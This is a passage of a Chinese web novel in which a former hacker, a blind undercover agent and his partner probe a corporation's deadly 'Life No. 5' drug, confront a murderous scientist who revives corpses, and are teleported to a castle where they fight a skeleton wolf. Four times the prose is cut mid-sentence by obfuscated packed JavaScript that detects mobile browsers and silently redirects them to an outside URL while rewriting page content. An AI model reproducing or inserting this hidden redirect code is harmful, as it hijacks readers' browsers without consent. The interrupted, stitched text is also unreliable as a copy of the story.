离开监控室后,大本并没有往卫生间走,他步伐坚定地走过H区,路过垃圾桶时还用一次性咖啡杯投了个漂亮的三分球,顺便确定了附近没有别人,然后,他一闪身钻进了左手边的电机室。 数十台电机正一如既往发出单调的噪音,空调“嗡嗡”地运转着,把室内空气温度吹得如同寒冬腊月,大本往里走了几步,被冷空气激得起了一层鸡皮疙瘩,右手始终按在腰侧,那里别着一根□□,他一向习惯把电流推到最大一档。 “谁在里面?”大本绕过第一排电机,放慢脚步,不错过一丝异样的动静。 没有回答。 “不管你是谁,自己出来,不然我就呼叫安保总队了。” 仍然没有回答,但大本听到下一排电机后传出了窸窸窣窣的声音,他立刻一个健步蹿到转角处,迅速探身,同时抽出电击棒,大喝一声:“不许动!” 几步开外,监控视频里的轮椅男正冲他微笑,丝毫没有被吓到,说道:“大本,你还是敏锐得跟猎狗一样,我就知道你肯定会找过来。” 大本把电击棒换了个手,忽然也展颜微笑,走上前伸出右手:“以利亚,好久不见。”他打量着轮椅后站着的年轻人,目光锐利:“这位是?” “莱纳德·杜弗伦,我的搭档。”以利亚握住大本的手晃了晃,向莱纳德介绍他,“这是大本,几年前我们在一场小意外里认识的,卢敏纳特星最优秀的黑客和赛车手,嘿,现在看起来也是最优秀的保安咯?” 大本不好意思地挠了挠头:“我结婚了,男人成家还是得有一份稳定的工作,对吧?所以只能放弃自由咯。”他低头看看以利亚的轮椅:“你呢?” 以利亚推了推鼻梁上的墨镜,故意用很低沉的声音说:“卧底。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13219958|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “别开玩笑了!”大本瞪起眼睛,“这可是沃冷公司总部!到处都是人精,别说戴墨镜坐轮椅,就算你全身打满石膏他们也能嗅出猫腻来。” “毫无疑问,你不就找到我们了吗?” “你以为除了我不会有别人?” 以利亚哂笑:“这可不像你的风格,当年你可是连政府大楼的加密网络都攻克过啊。” “嘘!小点声!”大本警惕地看向天花板,他们站在监控盲区里,但谁也不能保证刚才的说话声会不会被电机和空调盖过去,万一将来东窗事发,这段对话可不是自证清白的好凭据。 “好吧。”以利亚压低声音,“不过实话实说,你新东家的防火墙可比政府大楼难攻破多了。”他顿了顿:“得最优秀的黑客出手。” 大本当即连连摇头:“别,这趟浑水我不沾,被老总发现了,大家都吃不了兜着走。” 以利亚正色道:“沃冷公司里有事发生,我需要信息。” 大本连连摇头:“不关我事!” “是吗?”以利亚露出胸有成竹的微笑,“那你为什么还要过来呢?” 大本失语片刻,嘴硬道:“我……咖啡喝多了出来溜达溜达。” 以利亚不理他,自顾自说道:“医药部招来的志愿者有百分之七十都是残疾人,我猜他们不是为了造福社会吧?”他意味深长地说,“大本,你比我更清楚,沃冷公司另有图谋。” 大本把头摇成了拨浪鼓:“我只是个保安,就算老总有什么图谋,也不会跑来专程告诉我。” “但你肯定有法子查出来。” “我该感谢你对我的本事居然这么有信心吗?” 以利亚笑了笑:“以我对你的了解,你大概已经查出来了,对吧?” 大本沉默不答,忽然问:“你眼睛怎么了?” 以利亚淡淡道:“暂时看不见了。”他身后,莱纳德下意识抓紧了轮椅靠背。 “生命5号,”大本盯着以利亚看了一会儿,终于开口说道,“医药部研发出来的新东西,能够激发细胞程式再生,不管是缺胳膊还是少腿,都能再生出来。” 莱纳德脱口问道:“包括恢复视力?” 大本看了莱纳德一眼,说:“我不懂医药学,不过他们的研究数据和实验结果看起来很有说服力。”他忽然用力咬住后槽牙,腮帮子鼓了起来,“但你是对的,以利亚,沃冷公司另有图谋,我查过,头两批接受临床试验的人现在都失踪了,没有报警记录,没有住院记录,没有尸体。”他比了个手势,“噗,就这么从人间蒸发了。” “发生了什么?” “没人调查,官方有意压消息。”大本耸耸肩,“沃冷家族的一贯作风。” 以利亚默然片刻,说:“招募来的受试者都需要经过基因检测,但并不是针对官能损伤,如果我没猜错的话,生命5号的靶向目标是某种特别的DNA序列,残疾人只是个幌子。” 大本说:“术业有专攻,这你恐怕得咨询专家。” “正有此意。”以利亚淡淡道,“你认识麦德森·沃冷吗?” “麦德森,医疗部的疯子科学家,我怎么会认识?”大本在听到那个名字时皱起了眉头,麦德森性格孤僻,为人古怪,跟医疗部的技术员们大多合不来,这次生命5号的研发团队里也并没有他。 以利亚说:“有人告诉我,麦德森才是生命5号背后的知识产权所有人。” 42.第十章:麦德森 作为医疗部的首席科学家,麦德森本人却很少出现在医疗部,大部分时间,他都选择一个人待在郊外别墅的地下实验室里,除了定期送去的各种小动物和定期运出的形形色色的小尸体,没人知道他究竟在研究些什么。 不过最近几周,麦德森医生却像雨后的苔藓那样,牢牢长在了总部大楼里,换来不少人侧目。 今天,麦德森又端着沾满咖啡渍的马克杯在82层晃来晃去,他满头爆炸式的浅黄色头发太久不经梳理,跟火燎过的稻草堆似的,更加惹人注目。 82层是生命5号的临床试验区,最新一批受试者总共有12人,半个小时前已经全数准备完毕,隔着玻璃墙,能看到一个白大褂正在检查受试者身上的束缚带,然后朝控制台前的操作员比出OK的手势。 麦德森掏了掏耳朵,准备聆听接下来的痛苦尖叫声。 “滋啦”—— 头顶的灯突然间灭了,试验室里的仪器也齐刷刷暗掉,四周顿时一片漆黑,麦德森一惊,黄头发在黑暗中亮起荧光,他能在玻璃上清楚地看到自己此刻的倒影。 影子旁边站着另一个人。 麦德森迅速转身,举起马克杯,杯口分毫不差地套住了扎向他脖子的针筒,手腕一用力,就把针筒甩到了地上。他对面,一个金发蓝眼、穿着白大褂的年轻男人右手空举,脸上表情半是震惊半是尴尬,马克杯里的咖啡大半都泼到了他身上,此刻正顺着他的领口滴滴答答落到地上。 “小提议,”麦德森打量着面前的人,露出感兴趣的神情,“这么近的距离,使用吸入式麻醉剂的成功率恐怕要高得多。” “哦……”莱纳德发出一个音节,同时后退一步,心想,荧光头发这么致命的关键信息,大本怎么能不告诉他? 麦德森医生比他想象中要年轻得多,看起来跟疯狂也搭不上边,只是气质有点颓废,再加上那头荧光黄发,活像一只刚被打捞上岸的蛋黄水母。 另一件奇怪的事,麦德森看起来不像是要喊来保安,他往前一步,凑到莱纳德脸前,龇牙笑道:“金毛小子,你打算绑架我?”他捡起掉在地上的针筒,凑到鼻子前嗅了嗅,不屑道:“这玩意儿就算喂我喝下去半斤也不可能把我放倒的,作为绑架犯来说,你实在是太小看人了。” “麦德森医生,”莱纳德紧张地清了清嗓子,“这恐怕是个误会。”麦德森冲他挤了挤眼睛,顺着他的话逗弄道:“误会?那你原本是想用这个装着麻醉剂的针筒扎谁呢?” 走廊里除了他俩没别人,莱纳德只好尴尬地笑了笑,一边在衣袖里握紧拳头,备用计划是来硬的,可这会儿停电最初的慌乱已经过去,尽管电力还没恢复,但82层的员工们大都冷静下来了,正在合适的位置等待供电,眼下贸然冲麦德森大打出手显然不是个好主意。 “我建议换个地方聊天,说不定你能更坦诚点。”麦德森忽然伸长胳膊,莱纳德还没反应过来,对方已经搂住他的肩膀,用不容反抗的力道带着他往前走去。 莱纳德踉跄地跟上,耳机里传来大本的声音:“不好意思,技术部反应太快了,电力最多再过五秒钟恢复,个人建议你不要反抗。” 头顶灯光大亮,把莱纳德脸上的苦笑照得清清楚楚,绑架计划进行得简直不能更糟糕了。 麦德森把莱纳德带进一间实验室,电力刚刚恢复,技术员们都在忙碌地检查设备,恢复丢失的数据,有个白大褂抬头看到麦德森和莱纳德,明显愣住了,开口讷讷道:“麦德森医生,咳,这间实验室只有生命5号研发团队才有进入权限,按规定您不该进来……” “哦?”麦德森扬起眉毛,无辜道,“你们开着门,我还以为今天是开放日呢。” 白大褂尴尬道:“那是因为停电……” “这样啊,看来是个小误会,我来帮你们解决好了。”麦德森反手关上门,面带微笑,依然没有要离开的意思,白大褂忍不住要下逐客令,他只来得及说了几个字:“麦德森医生,请你……” 毫无征兆地,麦德森忽然从口袋里掏出一把迷你手枪,对准白大褂叩动了扳机,紧跟着是第二下,第三下…… 变故仅在短短几秒内发生,莱纳德只来得及发出一声短促的惊叫,实验室里的人便一个个倒下了,枪响声不大,听起来很像小时候炒黄豆时豆子蹦到锅盖上的爆裂声,清脆、响亮。 “这下不就安静了?”麦德森满意地看着横七竖八倒在地上的技术员,把枪放回口袋,又拍了拍莱纳德的肩膀,说道,“喏,金毛绑架犯,看到了吧?你再跟我说一句谎话,这些人就是榜样,我可是说到做到哦。” 莱纳德被他拍得半边身子都麻了:“你干嘛杀这些人?” “因为我打算给你看个小把戏,期待吗?”麦德森说着抬腿迈过地上的尸体,走向实验台,悠然道,“你既然敢对我下手,一定是看中了沃冷家族的什么东西,要么是我这个人,要么是生命5号,我猜的对吗?” 莱纳德默然不语,耳机里,大本语速飞快地说道:“实验室的门锁死了,除非你想挨枪子,否则别从这逃跑,你左前方的墙角旁边有一间盥洗室,嘿,别往那看!听我说,盥洗室里有通气管道,如果你抓住机会,而且动作够快,说不定可以从那里逃走。” 频道里忽然“刺啦”一声,随即响起以利亚的声音:“莱纳德,先别慌,看看麦德森要干什么。”他停顿了一下,又说:“如果他要伤害你,别犹豫,杀了他。” 莱纳德手腕上戴着腕表,行动之前,以利亚把它调整到了激光武器模式,触发机制与莱纳德的意识相连,到了最危急时,莱纳德甚至不用额外操作,仅凭意念指令就能激发武器。 “你在想什么呢?金毛。”麦德森忽然问道,莱纳德一惊,发现对方正好奇地盯着他看,表情似笑非笑,“换成别人要么吓得尿裤子,要么愚蠢地尝试逃跑,碰上胆子再大的,也会把注意力集中在我身上,不像你,居然走神了,是我魅力不够大吗?”说话时,麦德森的双手一直在实验台上摆弄试管和仪器,动作娴熟,目光却还好整以暇地在莱纳德脸上打转。 莱纳德和麦德森对视,尽量冷静地说:“我在想,刚才那个人说你没有进入实验室的权限,因为你不是生命5号研发团队的人。” “所以?” “所以你为什么对生命5号这么熟悉?” “嗯哼?”麦德森停下手上的动作,看得莱纳德心里一揪,麦德森却笑了,他举起手里的试管,晃了晃里面的绿色液体,悠然道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233201|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你知道他们为什么要叫这东西生命5号吗?” 莱纳德摇摇头,他觉得那些试管看起来更像是生化危机里的T病毒试剂,耳边,麦德森自问自答道:“叫5号很简单,因为1234号都被证实是百无一用的垃圾,至于生命嘛,可不止是因为它绿得这么漂亮哦。” “还因为什么?” “我说过要给你看个小把戏,对吧?”麦德森走到一具穿白大褂的尸体旁边,蹲下来,左手拎着衣领把他从地上拽起来,右手捏着试管,往尸体半张的嘴里倒了半管绿色液体,那液体有一半顺着尸体的下巴流到了地上,剩下一半则无声无息地落进了黑洞洞的喉咙,莱纳德下意识屏住呼吸,两眼死死盯住尸体,在心里默数,一、二、三…… 还不等他数到两位数,尸体蓦地双眼圆睁,长长地倒吸了一口气,发出一声尖锐的爆鸣,然后抬起上半身,张大嘴巴,急促地喘息起来。 麦德森松开手站起来,面带嫌弃地拍了拍手上并不存在的灰尘,笑得露出一口白牙:“看吧,生命。” 耳机里,大本夸张的“卧槽”了一声,莱纳德用力咬住后槽牙,脑子里只剩下一个念头,去他妈的特效药,生命5号是生化武器!紧接着,以利亚一把夺过话筒,大声说道:“莱纳德,击毙麦德森和活死人,从通气管道撤离,立刻!” 莱纳德抬起手臂,下意识就要执行命令,却又硬生生顿住,他盯着地上左摇右摆仿佛随时都要倒下去的活死人,嘎声道:“麦德森,我们需要谈谈。” 麦德森朝莱纳德走过来,脸上依然挂着笑容:“我没看错你,金毛小子,你从一开始就是为我而来的,因为生命5号只是垃圾。” 他身后,“咣当”一声,白大褂重重摔回地上,再次变成一具尸体。 “没错。”莱纳德说道,希望自己听上去能比实际笃定些,耳机里传来压抑的喘气声,以利亚一定气坏了。 “所有人都对着生命5号流哈喇子,就跟闻到腥味的鬣狗一样,根本不知道自己捧着的是块烂肉。”麦德森随手抛掉手里的试管,玻璃试管在地上“咔嚓”一声摔碎,千金难求的生命5号在地面上流淌开来,好像一滩菠菜汁。 “他们剽窃了你的研究成果,”莱纳德赌了一把,试探道,“对吧?” “是偷窃!”麦德森忽然尖声叫道,莱纳德吓了一跳,腕式武器险些就激发了,他看到麦德森脸上的肌肉扭曲起来,恶狠狠道:“愚蠢的小偷!抢劫犯!蠢货们连自己偷了什么都不知道,把金子做成废铁!把宝贝做成垃圾!” 他越说越气,忽然用力踢了一脚地上的尸体:“我的宝贝!我的创造!科学界的里程碑!这个世界将天翻地覆!因为我!麦德森·沃冷!不是什么垃圾生命5号!”他说一句就用力踢一脚尸体,说完最后一句,那颗脑袋已经变成了血肉模糊的一团。 莱纳德忍着恶心,嘎声问道:“生命5号缺少关键成分,它的受试者都死了,是这样吗?” 麦德森忽然侧目看他,表情犹带狰狞:“就跟你在乎那些蛆食似的,别以为我不知道你在想什么,就像越愚昧的人越崇尚道德,越弱小的人也越渴望力量。” 他大踏步走到莱纳德面前,上下扫视着他:“你呢?你又在渴望什么?” 43.第十一章:意外之门 莱纳德差点就将心中所想脱口而出,他用力吸气,都没意识到心脏正砰砰撞击着胸膛,也完全没听到耳机里以利亚说了些什么,他咽了口唾沫,问:“条件呢?” “条件就是,”麦德森眯起眼睛,朝他勾了勾手指,“先把你手腕上那个危险的小东西交给我。” “……哦。”莱纳德感到胸腔一阵钝痛,才意识到自己一直屏住了呼吸,而奋起反击的短暂时机已经一去不返,而且内心深处,莱纳德知道自己不想杀麦德森,至少现在不想。 他把腕表摘下来,递给麦德森。 “你很特别,金毛小子,有人这么跟你说过吗?”麦德森朝莱纳德倾过上半身,用两根手指捏住他的下巴,“告诉你一个秘密,我都迫不及待想要看看我的宝贝在你身上能创造什么样的奇迹了。” 这话听起来很像低成本色情片预告,还是让人倒尽胃口的那种,但麦德森的眼神更像豺狼在看一只肥鸡,莱纳德仰头挣开那只手,喘了口气:“等等,我还有个问题。” “什么问……”麦德森蓦地痛哼一声,下巴被莱纳德曲臂肘击砸得甩向一边,后者紧跟着一脚正瞪,踹在他胸口上,趁他向后倒的空当,夺路朝盥洗室跑去。 “蠢货!死吧!”麦德森尖声叫道,从口袋里掏出枪准备射击,但还没来得及抬起胳膊,肩膀骤然一紧,身后一具尸体忽然牢牢抱住了他。麦德森一边挣扎一边恼怒地意识到,刚才被他抛落的半管试剂肯定是流到了这具尸体身上,恰好这时活过来坏他的事,又是这些垃圾,这些垃圾永远是他的绊脚石! “咔嗒”一声,盥洗室的门被推开又撞上。 麦德森气得大叫,他的猎物就这么逃跑了。 莱纳德花了一些功夫才回到汇合点,一路上,他忐忑万分地准备应对以利亚的怒火——不按计划行事、不听命令、还试图跟麦德森谈条件——莱纳德忍不住叹气,他没打算真的让疯狂科学家在自己身上做实验,他只是想搞清楚麦德森究竟是不是他们要找的人。 但麦德森的声音却忽然穿过脑海,像钉枪射在他的神经上——你呢?你又在渴望什么? 莱纳德深吸一口气,推开了临时作战室的大门,门里,大本正焦急地来回踱着步,以利亚坐在轮椅里,墨镜遮住了他的半张脸,看不出表情来,但他肯定早就听到了莱纳德的脚步声,门开时,他正用平静的语气告诉大本接下来该如何利用沃冷公司的内乱向媒体披露生命5号的真相。 “那你们呢?不会就这么拍拍屁股走人吧?”大本回过头,关切地打量着莱纳德,目光里却流露出不赞成的神色,“麦德森是个疯子,你可真大胆,还敢跟他周旋。” 莱纳德也是一脑门冷汗,他清了清嗓子,给自己找借口:“总得转移他的注意力,才有机会逃跑。” 大本边摇头边笑:“你可把以利亚着急坏了,你都没看见……”以利亚忽然开口打断他,说道:“行动结束,莱纳德,我们该离开了。” 莱纳德和大本同时转向他,满脸愕然道:“什么?” “你听到我说的了。”以利亚简短地说。 “以利亚,”莱纳德忍不住凑过去,“你也听到了,麦德森在做的研究远不止生命5号,难道我们不继续调查了?”他压低声音:“奥多娜说他研究了很多年黑魔法,如果那是真的,沃冷公司会不会只是他们做人体实验的幌子?” “如果是呢?”以利亚冷冷道,“你就打算亲自潜入那个疯子的私人实验室里一探究竟了?”莱纳德一时张口结舌,以利亚发出一声嗤笑,不再多说,摆手跟大本告别,站起来走了出去,他大概是真气昏了头,出门时都差点撞在门框上。 大本叹了口气,冲莱纳德做了个口型:“快去追他。”又说:“这里一切有我。” 莱纳德点点头,跟大本匆匆道别,但一跨出作战室的大门,他就愣住了,门外竟然不是刚才进来时的走廊,也不是任何他熟悉的景色,甚至不是白天。 两步外,一面粗糙的石壁横在那里,没有尽头似的向两边延展开来,每隔十步有一个四四方方的洞,夜色从洞口里鬼鬼祟祟地探进来,莱纳德抓住门框,触感非常冰冷,手指碰到了木头门边缘包着的铁皮,他垂下头,看到兽首铁环旁边,拳头大的门钉在木门板上排列出复杂的花纹式样。 他呼出一团白气,回过头,临时作战室不见了,半掩的厚重木门里透出明灭的火光,他刚才那一步仿佛踏入了另一个世界。 幸好以利亚就在他前面,莱纳德几步跑过去,抓住他的手肘:“出问题了,以利亚,我不知道这是哪儿,但绝对不是沃冷镇。”以利亚慢慢转回身,他鼻子里的气味和刚才已经完全不一样了,干燥、馨香,带着一丝秋夜的冷意。 “这是哪里?” “时空坐标都改变了,我们刚才经历了非常精密的传送。”以利亚探出一只手,推开了那扇厚重复古的木门,带有烧焦木头气味的温暖空气立刻向外翻涌出来,是刚刚熄灭的炉火,绝不会错,“问题在于,为什么?” “是黑魔法吗?”莱纳德问,不自觉地压低了声音,“麦德森搞的鬼?” 以利亚不答,抬脚迈过门槛:“跟我说说这个房间的样子。” “屋里有一把雕花椅子,那边是火炉,墙上有一副油画,哦,还有顶上这个吊灯……看起来都是欧洲复古风格,中世纪那种。”莱纳德拉着以利亚在房间里走了一圈,经过火炉时,以利亚一弯腰,竟然准确地拿起了立在火炉旁的铁通条,在手里掂了掂分量,递给莱纳德:“先拿着防身,待会儿看看能不能找到更趁手的。” 莱纳德右眼角的肌肉抽搐了一下:“这里有危险?” “对方大费周章把咱们请来,总不会是为了喝茶吧?”以利亚笑笑,又问道,“你刚才说墙上挂了油画,画的是什么?”莱纳德拉着他走到墙边,仔细端详那副油画,色泽明亮,笔触圆润细腻,画风很有点拉斐尔的味道,他向以利亚描述道:“画上有两个小男孩,两个男人和一个女人,他们在一片森林里,还有一条大狗……不对,一头狼。”他皱起眉头:“好像是巨狼掳走了两个小男孩,然后这些人来救他们,领头的男人穿铠甲戴头盔,看打扮是个古罗马士兵,女的面纱蒙脸,躲在树后面。” 以利亚眉梢一动:“古罗马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245905|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传说?” “不知道,”莱纳德耸耸肩,“我小时候听的故事都是格林和安徒生写的,还有我爸爸随口编的,但老实说,他自创的故事都不怎么样。”他审视着那幅油画,还想继续发表评论,以利亚却忽然侧过头,表情一沉:“嘘,你听到了吗?” 莱纳德立刻屏住呼吸,但除了火炉里木料燃烧的“毕剥”声响,四下一片寂静,他攥紧铁通条,另一只手抓住以利亚,用气音问他:“你听到什么声音了?” 以利亚只说:“我们得赶紧离开这里。” 两人回到门外的走廊,将将够两人并肩而行,莱纳德从外侧石壁上的洞口望出去,可外面一片漆黑,连星光都看不到,这里似乎是一栋古堡,除了木门和内墙上的灯球火把,一切都是石头做的。 “往这边走。”以利亚差点把窗前的莱纳德拽了个趔趄,“快点。”莱纳德连忙跟上,问道:“喂,你到底听到什么了?”。 “呼吸声,脚步声。”以利亚匆匆回答,“不是人类的。”话音未落,两人身后蓦地响起一声野兽咆哮,听起来不算太近,但也绝对没远到让人安心的地步。 “狼?”莱纳德胳膊上冒出鸡皮疙瘩,这次不等以利亚催促就加快脚步小跑起来,“城堡里怎么会有狼?” “我们不如先祈祷它不是冲咱们来的。” “……祈祷能有用?” “没用还不跑快点?” “我在跑了!” 狼嚎紧接着在更近的地方响起,高效率地证明上帝此刻并不打算眷顾他们,以及他们跑得还不够快。 “等等!让我把这个拿上。”莱纳德踮起脚尖,伸手从墙上的铁环里取下一个火把,心里稍微踏实了一点,畜生怕火可是原始人在几百万年前就证明过的,狼也不能例外。 脚步声很快逼近,但不像野兽爪子拍打地面发出的声音,反而“咔嗒”作响,莱纳德心惊胆战地回过头,什么都还没看清楚,就被以利亚猛地往前一拽:“快跑!” 耳边风声飒然,莱纳德反应不及,后背被什么东西重重一撞,整个人朝前扑倒,火把脱手飞出,火星四溅。以利亚也被甩到墙上,他顾不上爬起来,急忙吼道:“莱尼,快起来,小心后面!” 莱纳德一个打滚翻过身来,万幸铁通条还在,而且居然没在他摔倒的时候扎进身体里,他举起铁通条在身前胡乱挥了几下,这才看清楚——刚才把他撞翻在地的竟是一头巨大的白骨狼,没有皮毛和血肉,本来长着眼睛的凹窝里,两团绿油油的鬼火闪闪发亮,丑陋的颌骨几乎顶到他脸上。 巨狼喉咙里发出古怪的气音,蓦地一张嘴,朝莱纳德当头咬下来。 “啊!”莱纳德惨叫起来,手脚并用,边退边挥舞通条,竟然真的把狼逼退了半步,但不等他喘口气,巨狼就一昂头,再次朝他扑了过去。莱纳德拼尽全力一挥,“当”的一声巨响,通条重重砸在狼头上,直震得他手臂发麻,可狼骨在重击下仍然完好无损,通条却卡在了齿缝里,任凭莱纳德怎么使劲都拔不出来。 巨狼紧跟着往前一跃,通条瞬间倒戈,向上一甩,竟把莱纳德掀飞了出去—— 44.第十二章:恶狼 这下真要死了! 莱纳德在石壁上摔得七荤八素,心里只来得及闪过这一个念头,就看到以利亚朝巨狼猛扑了过去,先是合身撞到巨狼胸骨上,用肩膀把它顶到一边,随即扣住巨狼的颈骨,顺势用力一跃,竟然攀上了狼背。 以利亚使尽全力勒住狼颈往上扳,从牙缝吼道:“跑!” 巨狼扭动颌骨,尖锐的骨刺立刻在以利亚左脸上狠狠划出一道口子,鲜血涌出,淌到了白骨上,但以利亚两臂仍牢牢扣着狼颈,分毫不让,巨狼怒吼一声,反身把后背朝石墙甩过去,以利亚避无可避,只好咬紧牙关,准备硬挨了这一下,但耳边风声飒然,预料中的撞击却并未到来,只有愤怒的咆哮,巨大的骨架却往反方向趔趄倒去。 ——莱纳德居然没跑,他双手抓住了卡在狼嘴里的通条,整个人都被甩到了半空,但也成功缓住了巨狼撞墙的势头,救了以利亚一命。肾上腺素作用下,莱纳德丝毫感觉不到害怕,反而注意力高度集中,他两腿乱蹬着,终于踩住了巨狼的胸骨,双手拼命往下一压。 莱纳德在剧烈的心跳声里想,阿基米德说过,只要给他一个支点,他就能撬起整个地球,他不会放手的,绝对。 但巨狼却忽然间发力朝前猛冲,莱纳德顿时双脚踩空,骤然失去着力点,险些被甩飞出去。“莱尼,”他听到以利亚在他头顶大叫,声音里竟满含惊惧,“快松手!”与此同时,莱纳德右腿骤然剧痛,双手不由自主松开,眼前一花,头下脚上地被狼叼在嘴里,尖牙瞬间刺穿了他的小腿。 电光火石间,莱纳德的脑子无比清醒,仿佛有一部分的他飘离了□□,正居高临下地看着这一切。 巨狼咬得很紧,挣扎绝对没有用,必须反击,可眼下他就像被风吹动的老式拉线灯那样倒吊在狼牙上,不受控制地前后摇摆着,除非……右手食指忽然被烫得瑟缩,竟然乱摆乱抓时碰到了火焰,莱纳德定睛一看,刚才被撞飞的火把竟然就落在眼前一英尺远的地方。 必须抓住火把,是死是活,就在此一举了,小腿仿佛已被锯子剖成了两瓣,莱纳德顾不上剧痛钻心,借着摇摆拼命伸长手臂,手指终于碰到了火把,可木棍却“咕噜”一下滚得更远。 再试一次,别放弃,下一次一定可以,莱纳德在心里告诉自己,尽管他知道下一次距离更远、难度也更大,那意味着生还概率正在飞速降低。 但是来不及了,巨狼耸动着颌骨,一昂首,便要吞落猎物。莱纳德听到自己发出了那种咬紧牙关的哭泣声,像是不懂声乐的人在乱吹小号,但同时,他的三根手指竟然真的握住了火把,木棍沾满了黏腻发烫火油,但世界上再也没有比这更抚慰人心的触感,莱纳德拧腰回身,拼尽最后的力气把火把扔进了狼嘴。 “通”的一声,骤然间火光大亮,莱纳德右腿上的禁锢消失,顿时滚倒在地,以利亚身下也突然一空,跟着摔到地上,和莱纳德摔成一团。 白骨巨狼竟然就地散架,变成了一堆白骨。 莱纳德眼前金星直冒,他仰面躺在地上,喘了几口气,总算有力气推开身上散落的狼骨,拍拍横躺在自己腰上的以利亚,问:“你怎么样?受伤没有?”以利亚哑声道:“是你受伤了。”他挣扎着爬起来,手指摸到莱纳德的右腿,触到一片湿漉漉的痕迹,莱纳德的声音顿时哑了:“疼!” 有东西钉进了他的小腿,只露出半截断牙,剩下的地方血肉模糊,莱纳德这时才觉得右腿火烧火燎,被狼叼在嘴里甩来甩去显然不是血肉之躯能够承受的,但他在剧痛之下居然先感到一阵狂喜,是他受伤了,不是以利亚。 这一次终于不再是以利亚替他承受伤痛,莱纳德在眩晕中迷糊地想,这算是黑魔法的功劳吗? 以利亚脸色铁青,摸索着从地上捡起火把,棍顶的火油剥落了大半,但仍□□地燃着一簇小火苗,他一只手按住莱纳德的腿,板着脸说道:“我得把断牙拔出来,会有点疼,你忍着点,我数三下。” 莱纳德感觉自己好像笑了一声,但那声音听起来很遥远,他口齿不清地回答:“你数吧……啊!”以利亚居然诈他,连一个数都没数,食指就戳进了他小腿上的血洞里,硬生生把断牙拔了出来,另一只手迅速把火苗凑到他伤口上,靠火的高温消毒止血。 莱纳德立刻像掉进油锅里的活鱼一样剧烈挣扎起来:“停!够了!”但以利亚上半身都压在他身上,嘴上不停安慰:“很快就好,再忍一下,深呼吸,莱尼,听我说,深呼吸。”莱纳德几乎是在尖叫:“放手!滚开!” 以利亚充耳不闻,按住他的手半点都没松开,眼下没有合适的工具和药,连止血剂都没有,只能让他多吃点苦头了。 等伤口处理完,两人都是筋疲力尽,狼狈地靠在石壁上喘气。以利亚有一搭没一搭地跟莱纳德说话,转移他的注意力:“喂,你刚才怎么对付这东西的,我还以为咱们玩完了。” 莱纳德闭着眼睛,有气无力地回答:“狼都怕火。” “但那又不是真的狼,从没听说过骨头会怕火烧。” “赌一把。” “赌输了怎么办?” “被吃。” “你倒是够坦然的。” 莱纳德掀起眼皮看了以利亚一眼,用开玩笑的语气说:“狼先吃我,你就有机会逃跑了。”他看到以利亚脸上表情忽然一片空白,就像被抹布用力抹过去一样,他的声音也干巴巴的:“别这么说。” “为什么?”莱纳德心里涌起一股奇异的满足感,疼痛让他的意志力变弱,理智也仿佛长出了脚,正飞快地离他而去,他知道自己不该问这种没有意义的问题,但他就是想听以利亚亲口说出来,他早就这么想了。 “我不会丢下你不管的。”以利亚说。 “要是来不及了呢?”还不够,莱纳德又较劲似的追问,“如果狼已经把我的一条腿都吃了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266873|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?”以利亚立刻斩钉截铁地说:“不会的。” “怎么不会?刚才如果我没捡起火把,或者扔偏了……”莱纳德胳膊上起了一层鸡皮疙瘩,激荡的想象力正在他脑袋里画出一幅生动无比的场景,他听到自己紧张地咯咯笑起来,“狼会把我嚼碎生吞的。” 但以利亚的回答很快就让他笑不出来了,他说:“那我就把你拼起来。”好像他真办得到似的。 “记得说话算话。” 莱纳德不知道自己是怎么睡着的,或者干脆是疼晕过去了,等他醒过来时,脑袋正靠在以利亚的肩膀上,右腿还是火烧火燎的疼,但已经在忍受的范围之内,他直起上半身,腰立刻“嘎巴”一声,跟浑身酸痛的肌肉一起抗议起来。 “休息好了?”以利亚问,他神色平静,让莱纳德忍不住怀疑之前那段对话究竟是真的发生过,还是他半梦半醒间自己臆想出来的。 恐怕更有可能是后者,莱纳德还记得那句“我会把你拼起来”,无论如何都不像是以利亚会说出来的话。 